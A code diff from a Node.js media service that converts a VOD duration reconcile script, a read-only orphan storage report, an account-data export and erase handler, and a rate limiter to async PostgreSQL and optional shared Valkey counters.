+ log(APPLY ? `Repaired ${c.repaired}; ${c.unconfirmed} unconfirmed (not written); ${c.changed_since} changed while running.`
+ : `Would repair ${c.would_repair}; ${c.unconfirmed} unconfirmed (would not be written). Nothing changed.`);
+ if (!all.range.done && !IDS) log(`More to check: next run --after ${all.range.last_id} (or --all).`);
+ log(`Report: ${written}`);
+ if (JSON_OUT) console.log(JSON.stringify({ ...all, rows: undefined, report: written }, null, 2));
return 0;
return 0;
}
}
- let dbCopy = null;
- if (APPLY) {
- const copyPath = BACKUP.replace(/\.json$/i, '') + '.media.db';
- for (const f of [BACKUP, copyPath]) if (fs.existsSync(f)) usage(`${f} already exists; pick a new --backup name`);
- log(`Backing up ${config.db.path} -> ${copyPath} ...`);
- dbCopy = await backupDatabase(copyPath);
- if (dbCopy.integrity_check !== 'ok') { console.error(`backup failed integrity_check: ${dbCopy.integrity_check}; nothing changed`); return 1; }
- log(` ${dbCopy.bytes} bytes, integrity_check ok, ${dbCopy.vods} vods`);
- }
- const all = { kind: 'media.vod.duration_reconcile', version: 1, run_at: new Date().toISOString(), mode: APPLY ? 'apply' : 'dry-run', app_id: arg('app') || null,
- thresholds: reconcile.THRESHOLDS, confirm_remote: has('confirm-remote'), batches: 0, range: { after_id: IDS ? null : AFTER, last_id: null, done: false }, counts: null, rows: [], db_backup: dbCopy };
- let after = AFTER;
- log(`${APPLY ? 'Reconciling' : 'Dry run over'} VOD durations in ${config.db.path}${all.app_id ? ` (app ${all.app_id})` : ''}${IDS ? `, vods ${IDS.join(',')}` : `, from vod id > ${AFTER}, batches of ${BATCH}`}${has('all') ? ', every batch' : ''}`);
- for (;;) {
- const rep = await reconcile.reconcileBatch({ appId: all.app_id, afterId: after, limit: IDS ? Math.min(200, IDS.length) : BATCH, ids: IDS, apply: APPLY, confirmRemote: has('confirm-remote'), onRow: printRow });
- all.batches++;
- all.rows.push(...rep.rows);
- if (!all.counts) all.counts = { ...rep.counts };
- else for (const k of Object.keys(rep.counts)) all.counts[k] += rep.counts[k];
- all.range.last_id = rep.range.last_id ?? all.range.last_id;
- all.range.done = rep.range.done;
- if (APPLY) writePrivate(BACKUP, JSON.stringify(all, null, 1)); // the rollback file is current after every batch
- if (IDS || rep.range.done || !has('all')) break;
- after = rep.range.last_id;
- }
- const file = APPLY ? BACKUP : (arg('out') ? path.resolve(arg('out')) : null);
- const written = APPLY ? file : reconcile.writeReport(all, file);
- const c = all.counts;
- log('');
- log(`Checked ${c.checked} (${c.remote} remote): ok ${c.ok}, mismatch ${c.mismatch}, wrong ${c.wrong}, missing ${c.missing}, unmeasurable ${c.unmeasurable}, skipped ${c.skipped}.`);
- log(APPLY ? `Repaired ${c.repaired}; ${c.unconfirmed} unconfirmed (not written); ${c.changed_since} changed while running.`
- : `Would repair ${c.would_repair}; ${c.unconfirmed} unconfirmed (would not be written). Nothing changed.`);
- if (!all.range.done && !IDS) log(`More to check: next run --after ${all.range.last_id} (or --all).`);
- log(`Report: ${written}`);
- if (JSON_OUT) console.log(JSON.stringify({ ...all, rows: undefined, report: written }, null, 2));
- return 0;
-}
-main().then((code) => { db.close(); process.exit(code); }).catch((err) => { console.error(err); process.exit(1); });
+ main().then(async (code) => { await db.close(); process.exit(code); }).catch((err) => { console.error(err); process.exit(1); });
+})().catch((err) => { console.error(err); process.exit(1); });
@@ -4,13 +4,13 @@
@@ -4,13 +4,13 @@
* Orphan reports (server/vod/orphans-report.js has the rules). Read-only: they list, HEAD and read the
* Orphan reports (server/vod/orphans-report.js has the rules). Read-only: they list, HEAD and read the
* database, and write a report file. They never delete, move, copy or write an object, a file or a row.
* database, and write a report file. They never delete, move, copy or write an object, a file or a row.
*
*
- * node scripts/vods-orphans-report.js [--prefix vods-orphans/] [--provider b2] [--out <report.json>] [--json] [--db <media.db>]
+ * node scripts/vods-orphans-report.js [--prefix vods-orphans/] [--provider b2] [--out <report.json>] [--json]
*
*
* The B2 `vods-orphans/` prefix (hazard H3): lists the prefix (ListObjectsV2), HEADs each match's
* The B2 `vods-orphans/` prefix (hazard H3): lists the prefix (ListObjectsV2), HEADs each match's
* canonical copy, prints one line per object (key, size, matched VOD/clip, recommendation) and the
* canonical copy, prints one line per object (key, size, matched VOD/clip, recommendation) and the
* totals per recommendation, and writes the full report (default <data>/reports/vods-orphans-<time>.json).
* totals per recommendation, and writes the full report (default <data>/reports/vods-orphans-<time>.json).
*
*
- * node scripts/vods-orphans-report.js --storage [--no-remote] [--limit 2000] [--out <report.json>] [--json] [--db <media.db>]
+ * node scripts/vods-orphans-report.js --storage [--no-remote] [--limit 2000] [--out <report.json>] [--json]
*
*
* The whole storage against the database (the storage.orphans.scan job, on demand): files under the data
* The whole storage against the database (the storage.orphans.scan job, on demand): files under the data
* directories and B2/R2 keys that no row names, copies the database records that are not there, and
* directories and B2/R2 keys that no row names, copies the database records that are not there, and
@@ -22,68 +22,70 @@
@@ -22,68 +22,70 @@
const fs = require('fs');
const fs = require('fs');
const path = require('path');
const path = require('path');
-const args = process.argv.slice(2);
-const has = (name) => args.includes(`--${name}`);
-const arg = (name) => { const i = args.indexOf(`--${name}`); return i >= 0 && args[i + 1] && !args[i + 1].startsWith('--') ? args[i + 1] : null; };
-const usage = (msg) => { console.error(`vods-orphans-report: ${msg}`); process.exit(2); };
-for (const flag of ['prefix', 'provider', 'out', 'db', 'limit']) if (has(flag) && !arg(flag)) usage(`--${flag} needs a value`);
-if (has('limit') && !(Number.isInteger(Number(arg('limit'))) && Number(arg('limit')) > 0)) usage('--limit must be a positive integer');
-if (arg('db')) process.env.DB_PATH = path.resolve(arg('db'));
-const provider = arg('provider') || 'b2';
-if (!['b2', 'r2'].includes(provider)) usage('--provider must be b2 or r2');
-
-const config = require('../server/config');
-if (!fs.existsSync(config.db.path)) usage(`no database at ${config.db.path} (set DB_PATH or pass --db)`);
-const db = require('../server/db/database');
-const vodStorage = require('../server/vod/vod-storage');
-const orphans = require('../server/vod/orphans-report');
-const JSON_OUT = has('json');
-const log = (...a) => { if (!JSON_OUT) console.log(...a); };
-const mb = (b) => `${(b / 1048576).toFixed(1)} MB`;
+(async () => {
+ await require('../server/db/database').initDb(); // PostgreSQL (DATABASE_URL), as the service
+ { const st = require('../server/vod/vod-storage'); await st.tierConfig.init(st.DEFAULTS, { log: { info() {}, warn: (m) => console.error(`[Tiers] ${m}`), error: (m) => console.error(`[Tiers] ${m}`) } }); } // the storage policy as configured (quiet: stdout is the report)
+ const args = process.argv.slice(2);
+ const has = (name) => args.includes(`--${name}`);
+ const arg = (name) => { const i = args.indexOf(`--${name}`); return i >= 0 && args[i + 1] && !args[i + 1].startsWith('--') ? args[i + 1] : null; };
+ const usage = (msg) => { console.error(`vods-orphans-report: ${msg}`); process.exit(2); };
+ for (const flag of ['prefix', 'provider', 'out', 'db', 'limit']) if (has(flag) && !arg(flag)) usage(`--${flag} needs a value`);
+ if (has('limit') && !(Number.isInteger(Number(arg('limit'))) && Number(arg('limit')) > 0)) usage('--limit must be a positive integer');
+ const provider = arg('provider') || 'b2';
+ if (!['b2', 'r2'].includes(provider)) usage('--provider must be b2 or r2');
-async function storageReport() {
- const providers = has('no-remote') ? [] : null;
- const report = await orphans.buildStorageReport({ providers, limit: has('limit') ? Number(arg('limit')) : 2000 });
- const file = orphans.writeStorageReport(report, arg('out') ? path.resolve(arg('out')) : null);
- const t = report.totals;
- log(`Storage orphan report (read-only), ${report.generated_at}`);
- for (const r of report.scope.roots) log(` local ${r.name.padEnd(11)} ${r.dir}${r.exists ? ` (${r.files} file(s))` : ' (missing)'}`);
- for (const [p, e] of Object.entries(report.scope.providers)) log(` ${p.padEnd(17)} ${e.listed ? `${e.bucket || ''}: ${e.keys} key(s), ${mb(e.bytes)}` : `not listed${e.error ? `: ${e.error}` : ''}`}`);
- if (has('no-remote')) log(' buckets not listed (--no-remote)');
- log('');
- log(`Unreferenced local files: ${t.unreferenced_local.files} (${mb(t.unreferenced_local.bytes)})`);
- for (const f of report.unreferenced_local.slice(0, 25)) log(` ${mb(f.size).padStart(11)} ${f.root}/${f.path}${f.hint ? ` — ${f.hint}` : ''}`);
- for (const [p, x] of Object.entries(t.unreferenced_remote)) log(`Unreferenced ${p} keys: ${x.keys} (${mb(x.bytes)})`);
- for (const k of report.unreferenced_remote.slice(0, 25)) log(` ${mb(k.size).padStart(11)} ${k.provider}:${k.key}${k.hint ? ` — ${k.hint}` : ''}`);
- log(`Copies the database records that are not there: ${t.missing.locations}`);
- for (const m of report.missing.slice(0, 25)) log(` ${m.object_id} ${m.legacy_ref || m.kind} ${m.provider} (recorded ${m.recorded_state})`);
- log(`Open multipart uploads: ${t.multipart_local.open} here (${t.multipart_local.expired} expired)${Object.entries(t.multipart_remote).map(([p, n]) => `, ${n} in ${p}`).join('')}`);
- log(`Expected, not listed: ${t.expected.live_thumbnails} live thumbnail(s), ${t.expected.in_flight} upload(s) in flight`);
- log('');
- log('Nothing was deleted or moved.');
- log(`Report: ${file}`);
- if (JSON_OUT) console.log(JSON.stringify({ ...report, report: file }, null, 2));
-}
+ const config = require('../server/config');
+ const db = require('../server/db/database');
+ const vodStorage = require('../server/vod/vod-storage');
+ const orphans = require('../server/vod/orphans-report');
+ const JSON_OUT = has('json');
+ const log = (...a) => { if (!JSON_OUT) console.log(...a); };
+ const mb = (b) => `${(b / 1048576).toFixed(1)} MB`;
-(async () => {
- if (has('storage')) { await storageReport(); db.close(); process.exit(0); }
- if (!vodStorage.providerConfigured(provider)) usage(`${provider} is not configured (MEDIA_${provider.toUpperCase()}_* not in the environment)`);
- const report = await orphans.buildReport({ provider, prefix: arg('prefix') || orphans.PREFIX });
- const file = arg('out') ? path.resolve(arg('out')) : path.join(path.dirname(config.db.path), 'reports', `vods-orphans-${report.generated_at.replace(/[:.]/g, '-')}.json`);
- fs.mkdirSync(path.dirname(file), { recursive: true });
- fs.writeFileSync(file, JSON.stringify(report, null, 1));
- log(`${report.provider}://${report.bucket}/${report.prefix}: ${report.totals.objects} object(s), ${report.totals.gb} GB (read-only report)`);
- log('');
- for (const o of report.objects) {
- const m = o.match ? `${o.match.kind} ${o.match.id}${o.match.row === 'gone' ? ' (row gone)' : ''}` : '-';
- log(` ${o.key.padEnd(60)} ${mb(o.size).padStart(11)} ${m.padEnd(22)} ${o.recommendation.padEnd(20)} ${o.reason}`);
+ async function storageReport() {
+ const providers = has('no-remote') ? [] : null;
+ const report = await orphans.buildStorageReport({ providers, limit: has('limit') ? Number(arg('limit')) : 2000 });
+ const file = orphans.writeStorageReport(report, arg('out') ? path.resolve(arg('out')) : null);
+ const t = report.totals;
+ log(`Storage orphan report (read-only), ${report.generated_at}`);
+ for (const r of report.scope.roots) log(` local ${r.name.padEnd(11)} ${r.dir}${r.exists ? ` (${r.files} file(s))` : ' (missing)'}`);
+ for (const [p, e] of Object.entries(report.scope.providers)) log(` ${p.padEnd(17)} ${e.listed ? `${e.bucket || ''}: ${e.keys} key(s), ${mb(e.bytes)}` : `not listed${e.error ? `: ${e.error}` : ''}`}`);
+ if (has('no-remote')) log(' buckets not listed (--no-remote)');
+ log('');
+ log(`Unreferenced local files: ${t.unreferenced_local.files} (${mb(t.unreferenced_local.bytes)})`);
+ for (const f of report.unreferenced_local.slice(0, 25)) log(` ${mb(f.size).padStart(11)} ${f.root}/${f.path}${f.hint ? ` — ${f.hint}` : ''}`);
+ for (const [p, x] of Object.entries(t.unreferenced_remote)) log(`Unreferenced ${p} keys: ${x.keys} (${mb(x.bytes)})`);
+ for (const k of report.unreferenced_remote.slice(0, 25)) log(` ${mb(k.size).padStart(11)} ${k.provider}:${k.key}${k.hint ? ` — ${k.hint}` : ''}`);
+ log(`Copies the database records that are not there: ${t.missing.locations}`);
+ for (const m of report.missing.slice(0, 25)) log(` ${m.object_id} ${m.legacy_ref || m.kind} ${m.provider} (recorded ${m.recorded_state})`);
+ log(`Open multipart uploads: ${t.multipart_local.open} here (${t.multipart_local.expired} expired)${Object.entries(t.multipart_remote).map(([p, n]) => `, ${n} in ${p}`).join('')}`);
+ log(`Expected, not listed: ${t.expected.live_thumbnails} live thumbnail(s), ${t.expected.in_flight} upload(s) in flight`);
+ log('');
+ log('Nothing was deleted or moved.');
+ log(`Report: ${file}`);
+ if (JSON_OUT) console.log(JSON.stringify({ ...report, report: file }, null, 2));
}
}
- log('');
- for (const [rec, t] of Object.entries(report.by_recommendation)) if (t.objects) log(` ${rec.padEnd(22)} ${String(t.objects).padStart(4)} object(s) ${mb(t.bytes).padStart(12)}`);
- log('');
- log('Nothing was deleted or moved. delete_* rows are candidates for the owner; keep_only_copy rows are recordings whose only copy is here.');
- log(`Report: ${file}`);
- if (JSON_OUT) console.log(JSON.stringify({ ...report, report: file }, null, 2));
- db.close();
- process.exit(0);
+
+ (async () => {
+ if (has('storage')) { await storageReport(); await db.close(); process.exit(0); }
+ if (!vodStorage.providerConfigured(provider)) usage(`${provider} is not configured (MEDIA_${provider.toUpperCase()}_* not in the environment)`);
+ const report = await orphans.buildReport({ provider, prefix: arg('prefix') || orphans.PREFIX });
+ const file = arg('out') ? path.resolve(arg('out')) : path.join(path.dirname(config.db.path), 'reports', `vods-orphans-${report.generated_at.replace(/[:.]/g, '-')}.json`);
+ fs.mkdirSync(path.dirname(file), { recursive: true });
+ fs.writeFileSync(file, JSON.stringify(report, null, 1));
+ log(`${report.provider}://${report.bucket}/${report.prefix}: ${report.totals.objects} object(s), ${report.totals.gb} GB (read-only report)`);
+ log('');
+ for (const o of report.objects) {
+ const m = o.match ? `${o.match.kind} ${o.match.id}${o.match.row === 'gone' ? ' (row gone)' : ''}` : '-';
+ log(` ${o.key.padEnd(60)} ${mb(o.size).padStart(11)} ${m.padEnd(22)} ${o.recommendation.padEnd(20)} ${o.reason}`);
+ }
+ log('');
+ for (const [rec, t] of Object.entries(report.by_recommendation)) if (t.objects) log(` ${rec.padEnd(22)} ${String(t.objects).padStart(4)} object(s) ${mb(t.bytes).padStart(12)}`);
+ log('');
+ log('Nothing was deleted or moved. delete_* rows are candidates for the owner; keep_only_copy rows are recordings whose only copy is here.');
+ log(`Report: ${file}`);
+ if (JSON_OUT) console.log(JSON.stringify({ ...report, report: file }, null, 2));
+ await db.close();
+ process.exit(0);
+ })().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
@@ -28,32 +28,22 @@ const TOPICS = ['network.account.export_requested', 'network.account.deleted'];
@@ -28,32 +28,22 @@ const TOPICS = ['network.account.export_requested', 'network.account.deleted'];
const SECRET_COL = /(^|_)(token|secret|hash|password|key|keys|stream_key|storage_key)($|_)/i;
const SECRET_COL = /(^|_)(token|secret|hash|password|key|keys|stream_key|storage_key)($|_)/i;
const ROW_LIMIT = 5000;
const ROW_LIMIT = 5000;
-function ensureSchema(db) {
- db.exec(`CREATE TABLE IF NOT EXISTS account_data_events (
- id TEXT PRIMARY KEY,
- kind TEXT NOT NULL,
- subject TEXT NOT NULL,
- outcome TEXT,
- sent_at TEXT,
- applied_at TEXT NOT NULL DEFAULT (strftime('%Y-%m-%dT%H:%M:%fZ', 'now'))
- )`);
-}
const clean = (row) => { const o = {}; for (const [k, v] of Object.entries(row)) if (!SECRET_COL.test(k)) o[k] = v; return o; };
const clean = (row) => { const o = {}; for (const [k, v] of Object.entries(row)) if (!SECRET_COL.test(k)) o[k] = v; return o; };
const inList = (xs) => `(${xs.map(() => '?').join(',')})`;
const inList = (xs) => `(${xs.map(() => '?').join(',')})`;
-function exportPart(db, subjects) {
+async function exportPart(db, subjects) {
const model = require('./objects/model');
const model = require('./objects/model');
- const objs = db.prepare(`SELECT * FROM media_objects WHERE owner_subject IN ${inList(subjects)} AND lifecycle_status != 'deleted' ORDER BY created_at DESC LIMIT ${ROW_LIMIT}`).all(...subjects);
- const objects = objs.map((o) => {
- const p = model.objectPublic(o, { locations: false });
+ const objs = await db.prepare(`SELECT * FROM media_objects WHERE owner_subject IN ${inList(subjects)} AND lifecycle_status != 'deleted' ORDER BY created_at DESC LIMIT ${ROW_LIMIT}`).all(...subjects);
+ const objects = (await Promise.all(objs.map(async (o) => {
+ const p = await model.objectPublic(o, { locations: false });
return { id: p.id, kind: p.kind, visibility: p.visibility, lifecycle_status: p.lifecycle_status, mime_type: p.mime_type, size_bytes: p.size_bytes,
return { id: p.id, kind: p.kind, visibility: p.visibility, lifecycle_status: p.lifecycle_status, mime_type: p.mime_type, size_bytes: p.size_bytes,
public_url: p.public_url, legacy_ref: p.legacy_ref, created_at: p.created_at, held: p.held };
public_url: p.public_url, legacy_ref: p.legacy_ref, created_at: p.created_at, held: p.held };
- });
+ })));
const ids = objs.map((o) => o.id);
const ids = objs.map((o) => o.id);
- const rows = (table) => (ids.length ? db.prepare(`SELECT * FROM ${table} WHERE object_id IN ${inList(ids)} ORDER BY created_at DESC`).all(...ids).map(clean) : []);
+ const rows = async (table) => (ids.length ? (await db.prepare(`SELECT * FROM ${table} WHERE object_id IN ${inList(ids)} ORDER BY created_at DESC`).all(...ids)).map(clean) : []);
const files = [{ name: 'objects.json', content: objects }];
const files = [{ name: 'objects.json', content: objects }];
- const vods = rows('vods'); const clips = rows('clips'); const plain = rows('files');
+ const vods = await rows('vods'); const clips = await rows('clips'); const plain = await rows('files');
if (vods.length) files.push({ name: 'vods.json', content: vods });
if (vods.length) files.push({ name: 'vods.json', content: vods });
if (clips.length) files.push({ name: 'clips.json', content: clips });
if (clips.length) files.push({ name: 'clips.json', content: clips });
if (plain.length) files.push({ name: 'files.json', content: plain });
if (plain.length) files.push({ name: 'files.json', content: plain });
@@ -61,42 +51,42 @@ function exportPart(db, subjects) {
@@ -61,42 +51,42 @@ function exportPart(db, subjects) {
}
}
/** Erase what the subjects own → { erased, retained }. Each object in its own step: a hold stops only that one. */
/** Erase what the subjects own → { erased, retained }. Each object in its own step: a hold stops only that one. */
-function erase(db, subjects) {
+async function erase(db, subjects) {
const model = require('./objects/model');
const model = require('./objects/model');
const erased = {};
const erased = {};
const retained = {};
const retained = {};
const bump = (o, k) => { o[k] = (o[k] || 0) + 1; };
const bump = (o, k) => { o[k] = (o[k] || 0) + 1; };
- const objs = db.prepare(`SELECT * FROM media_objects WHERE owner_subject IN ${inList(subjects)} AND lifecycle_status != 'deleted' ORDER BY (kind = 'thumbnail'), created_at`).all(...subjects);
+ const objs = await db.prepare(`SELECT * FROM media_objects WHERE owner_subject IN ${inList(subjects)} AND lifecycle_status != 'deleted' ORDER BY (kind = 'thumbnail'), created_at`).all(...subjects);
for (const o of objs) {
for (const o of objs) {
- if (model.isHeld(o.id)) { bump(retained, 'held_media'); continue; }
+ if (await model.isHeld(o.id)) { bump(retained, 'held_media'); continue; }
try {
try {
- if (!o.legacy_ref) { model.softDelete(o, { by: 'account_deleted' }); bump(erased, 'objects'); continue; }
+ if (!o.legacy_ref) { await model.softDelete(o, { by: 'account_deleted' }); bump(erased, 'objects'); continue; }
if (o.kind === 'vod') {
if (o.kind === 'vod') {
- const vod = db.prepare('SELECT * FROM vods WHERE object_id = ?').get(o.id);
+ const vod = await db.prepare('SELECT * FROM vods WHERE object_id = ?').get(o.id);
if (!vod) continue;
if (!vod) continue;
if (vod.file_path) {
if (vod.file_path) {
require('./vod/vod-storage').deleteVodObjects(vod).catch((e) => console.warn(`[AccountData] VOD ${vod.id} remote cleanup:`, e.message));
require('./vod/vod-storage').deleteVodObjects(vod).catch((e) => console.warn(`[AccountData] VOD ${vod.id} remote cleanup:`, e.message));
for (const p of [vod.file_path, vod.master_file_path]) { try { if (p && fs.existsSync(p)) fs.unlinkSync(p); } catch { /* gone */ } }
for (const p of [vod.file_path, vod.master_file_path]) { try { if (p && fs.existsSync(p)) fs.unlinkSync(p); } catch { /* gone */ } }
}
}
- db.prepare('DELETE FROM vods WHERE id = ?').run(vod.id);
+ await db.prepare('DELETE FROM vods WHERE id = ?').run(vod.id);
bump(erased, 'vods');
bump(erased, 'vods');
} else if (o.kind === 'clip') {
} else if (o.kind === 'clip') {
- const clip = db.prepare('SELECT * FROM clips WHERE object_id = ?').get(o.id);
+ const clip = await db.prepare('SELECT * FROM clips WHERE object_id = ?').get(o.id);
if (!clip) continue;
if (!clip) continue;
try { if (clip.file_path && fs.existsSync(clip.file_path)) fs.unlinkSync(clip.file_path); } catch { /* gone */ }
try { if (clip.file_path && fs.existsSync(clip.file_path)) fs.unlinkSync(clip.file_path); } catch { /* gone */ }
if (clip.storage_provider && clip.storage_provider !== 'local' && clip.storage_key) {
if (clip.storage_provider && clip.storage_provider !== 'local' && clip.storage_key) {
require('./vod/vod-storage').deleteVodObjects(clip).catch((e) => console.warn(`[AccountData] clip ${clip.id} remote cleanup:`, e.message));
require('./vod/vod-storage').deleteVodObjects(clip).catch((e) => console.warn(`[AccountData] clip ${clip.id} remote cleanup:`, e.message));
}
}
- db.prepare('DELETE FROM clips WHERE id = ?').run(clip.id);
+ await db.prepare('DELETE FROM clips WHERE id = ?').run(clip.id);
bump(erased, 'clips');
bump(erased, 'clips');
} else if (o.kind === 'file') {
} else if (o.kind === 'file') {
- const row = db.prepare('SELECT * FROM files WHERE object_id = ?').get(o.id);
+ const row = await db.prepare('SELECT * FROM files WHERE object_id = ?').get(o.id);
if (!row) continue;
if (!row) continue;
try { const p = require('./files/routes').filePathForKey(row); if (fs.existsSync(p)) fs.unlinkSync(p); } catch { /* gone */ }
try { const p = require('./files/routes').filePathForKey(row); if (fs.existsSync(p)) fs.unlinkSync(p); } catch { /* gone */ }
- db.prepare('DELETE FROM files WHERE key = ?').run(row.key);
+ await db.prepare('DELETE FROM files WHERE key = ?').run(row.key);
bump(erased, 'files');
bump(erased, 'files');
} else if (o.kind === 'thumbnail') {
} else if (o.kind === 'thumbnail') {
- db.prepare("UPDATE media_objects SET lifecycle_status = 'deleted', deleted_at = COALESCE(deleted_at, CURRENT_TIMESTAMP), updated_at = CURRENT_TIMESTAMP WHERE id = ? AND lifecycle_status != 'deleted'").run(o.id);
+ await db.prepare("UPDATE media_objects SET lifecycle_status = 'deleted', deleted_at = COALESCE(deleted_at, ov_now()), updated_at = ov_now() WHERE id = ? AND lifecycle_status != 'deleted'").run(o.id);
bump(erased, 'thumbnails');
bump(erased, 'thumbnails');
} else {
} else {
bump(retained, `frozen_${o.kind}s`); // screenshots and avatars: rows in the frozen paste tables
bump(retained, `frozen_${o.kind}s`); // screenshots and avatars: rows in the frozen paste tables
@@ -127,36 +117,36 @@ async function apply(ev, { db = require('./db/database').getDb(), send = network
@@ -127,36 +117,36 @@ async function apply(ev, { db = require('./db/database').getDb(), send = network
if (!ev || !TOPICS.includes(ev.event_type)) return 'ignored:type';
if (!ev || !TOPICS.includes(ev.event_type)) return 'ignored:type';
if (ev.source !== 'network') return 'ignored:source';
if (ev.source !== 'network') return 'ignored:source';
const p = ev.payload && typeof ev.payload === 'object' ? ev.payload : {};
const p = ev.payload && typeof ev.payload === 'object' ? ev.payload : {};
- ensureSchema(db);
if (ev.event_type === 'network.account.export_requested') {
if (ev.event_type === 'network.account.export_requested') {
if (!EXPORT_RE.test(String(p.export_id || '')) || !SUBJECT_RE.test(String(p.subject || ''))) return 'ignored:payload';
if (!EXPORT_RE.test(String(p.export_id || '')) || !SUBJECT_RE.test(String(p.subject || ''))) return 'ignored:payload';
- const seen = db.prepare('SELECT sent_at FROM account_data_events WHERE id = ?').get(p.export_id);
+ const seen = await db.prepare('SELECT sent_at FROM account_data_events WHERE id = ?').get(p.export_id);
if (seen && seen.sent_at) return 'unchanged';
if (seen && seen.sent_at) return 'unchanged';
- const part = exportPart(db, [p.subject]);
+ const part = await exportPart(db, [p.subject]);
const res = await send(`/internal/account-exports/${p.export_id}/parts`, { subject: p.subject, ...part });
const res = await send(`/internal/account-exports/${p.export_id}/parts`, { subject: p.subject, ...part });
const outcome = res.ok ? 'exported' : (res.status === 409 || res.status === 404 ? 'closed' : null);
const outcome = res.ok ? 'exported' : (res.status === 409 || res.status === 404 ? 'closed' : null);
if (!outcome) throw new Error(`export part refused: ${res.status}`);
if (!outcome) throw new Error(`export part refused: ${res.status}`);
- db.prepare('INSERT OR REPLACE INTO account_data_events (id, kind, subject, outcome, sent_at) VALUES (?, ?, ?, ?, ?)')
+ await db.prepare(`INSERT INTO account_data_events (id, kind, subject, outcome, sent_at) VALUES (?, ?, ?, ?, ?)
+ ON CONFLICT (id) DO UPDATE SET kind = excluded.kind, subject = excluded.subject, outcome = excluded.outcome, sent_at = excluded.sent_at, applied_at = ov_now_iso()`)
.run(p.export_id, 'export', p.subject, JSON.stringify({ result: outcome, objects: part.files[0].content.length }), new Date().toISOString());
.run(p.export_id, 'export', p.subject, JSON.stringify({ result: outcome, objects: part.files[0].content.length }), new Date().toISOString());
return outcome;
return outcome;
}
}
if (!DELETION_RE.test(String(p.deletion_id || '')) || !SUBJECT_RE.test(String(p.subject || ''))) return 'ignored:payload';
if (!DELETION_RE.test(String(p.deletion_id || '')) || !SUBJECT_RE.test(String(p.subject || ''))) return 'ignored:payload';
- let rec = db.prepare('SELECT * FROM account_data_events WHERE id = ?').get(p.deletion_id);
+ let rec = await db.prepare('SELECT * FROM account_data_events WHERE id = ?').get(p.deletion_id);
let result = 'confirmed';
let result = 'confirmed';
if (!rec) {
if (!rec) {
const subjects = [p.subject, ...(Array.isArray(p.aliases) ? p.aliases.filter((s) => SUBJECT_RE.test(String(s))) : [])];
const subjects = [p.subject, ...(Array.isArray(p.aliases) ? p.aliases.filter((s) => SUBJECT_RE.test(String(s))) : [])];
- const counts = erase(db, subjects);
- db.prepare('INSERT INTO account_data_events (id, kind, subject, outcome) VALUES (?, ?, ?, ?)').run(p.deletion_id, 'deletion', p.subject, JSON.stringify(counts));
+ const counts = await erase(db, subjects);
+ await db.prepare('INSERT INTO account_data_events (id, kind, subject, outcome) VALUES (?, ?, ?, ?)').run(p.deletion_id, 'deletion', p.subject, JSON.stringify(counts));
console.log(`[AccountData] deletion ${p.deletion_id}: ${JSON.stringify(counts)}`);
console.log(`[AccountData] deletion ${p.deletion_id}: ${JSON.stringify(counts)}`);
- rec = db.prepare('SELECT * FROM account_data_events WHERE id = ?').get(p.deletion_id);
+ rec = await db.prepare('SELECT * FROM account_data_events WHERE id = ?').get(p.deletion_id);
result = 'erased';
result = 'erased';
}
}
if (rec.sent_at) return 'unchanged';
if (rec.sent_at) return 'unchanged';
const o = JSON.parse(rec.outcome || '{}');
const o = JSON.parse(rec.outcome || '{}');
const res = await send(`/internal/account-deletions/${p.deletion_id}/confirmations`, { subject: p.subject, completed_at: rec.applied_at, erased: o.erased || {}, retained: o.retained || {} });
const res = await send(`/internal/account-deletions/${p.deletion_id}/confirmations`, { subject: p.subject, completed_at: rec.applied_at, erased: o.erased || {}, retained: o.retained || {} });
if (!res.ok && res.status !== 404) throw new Error(`confirmation refused: ${res.status}`);
if (!res.ok && res.status !== 404) throw new Error(`confirmation refused: ${res.status}`);
- db.prepare('UPDATE account_data_events SET sent_at = ? WHERE id = ?').run(new Date().toISOString(), p.deletion_id);
+ await db.prepare('UPDATE account_data_events SET sent_at = ? WHERE id = ?').run(new Date().toISOString(), p.deletion_id);
return result;
return result;
}
}
-module.exports = { apply, exportPart, erase, ensureSchema, TOPICS };
+module.exports = { apply, exportPart, erase, TOPICS };
@@ -15,7 +15,7 @@
@@ -15,7 +15,7 @@
* /metrics or the signed /internal/events deliveries (Events pushes at its own pace; a 429 there only
* /metrics or the signed /internal/events deliveries (Events pushes at its own pace; a 429 there only
* makes it retry and fall behind).
* makes it retry and fall behind).
*/
*/
-const { createActorLimiter, defaultActor } = require('openvibe-sdk/limits');
+const { createActorLimiter, createValkeyLimitStore, defaultActor } = require('openvibe-sdk/limits');
const config = require('./config');
const config = require('./config');
let clock = () => Date.now();
let clock = () => Date.now();
@@ -36,21 +36,45 @@ function onLimited(e) {
@@ -36,21 +36,45 @@ function onLimited(e) {
if (refused) refused.inc({ limit: e.name, window: e.window });
if (refused) refused.inc({ limit: e.name, window: e.window });
}
}
-const limiter = createActorLimiter({
- limits: { minute: config.limits.minute, hour: config.limits.hour },
- actor,
- now: () => clock(),
- onLimited,
-});
+// The counters: in this process, or shared across processes on Valkey once server/index.js calls useValkey() at boot
+// (ADR-035). Routes built before that pick the shared limiter up on their next request.
+let store = null;
+let valkeyHandle = null;
+let limiter = null;
+let generation = 0;
+function current() {
+ if (!limiter) {
+ limiter = createActorLimiter({
+ limits: { minute: config.limits.minute, hour: config.limits.hour },
+ actor,
+ now: () => clock(),
+ onLimited,
+ ...(store ? { store } : {}),
+ });
+ }
+ return limiter;
+}
+/** Count on Valkey (an openvibe-sdk/valkey handle), from now on. */
+function useValkey(valkey) {
+ valkeyHandle = valkey || null;
+ store = valkey ? createValkeyLimitStore(valkey) : null;
+ limiter = null;
+ generation++;
+}
/** Every named limit with its numbers, as the routes declare them (published in /limits.json). */
/** Every named limit with its numbers, as the routes declare them (published in /limits.json). */
const registered = new Map();
const registered = new Map();
function limits(name, own = {}) {
function limits(name, own = {}) {
registered.set(name, { minute: own.minute != null ? own.minute : config.limits.minute, hour: own.hour != null ? own.hour : config.limits.hour });
registered.set(name, { minute: own.minute != null ? own.minute : config.limits.minute, hour: own.hour != null ? own.hour : config.limits.hour });
- return limiter(name, own);
+ let mw = null;
+ let built = -1;
+ return (req, res, next) => {
+ if (built !== generation || !mw) { mw = current()(name, own); built = generation; }
+ return mw(req, res, next);
+ };
}
}
-limits.stats = () => limiter.stats();
-limits.reset = () => limiter.reset();
+limits.stats = () => current().stats();
+limits.reset = () => current().reset();
/** Count refusals in /metrics (server/index.js, after observability.instrument). */
/** Count refusals in /metrics (server/index.js, after observability.instrument). */
function bindMetrics(registry) {
function bindMetrics(registry) {
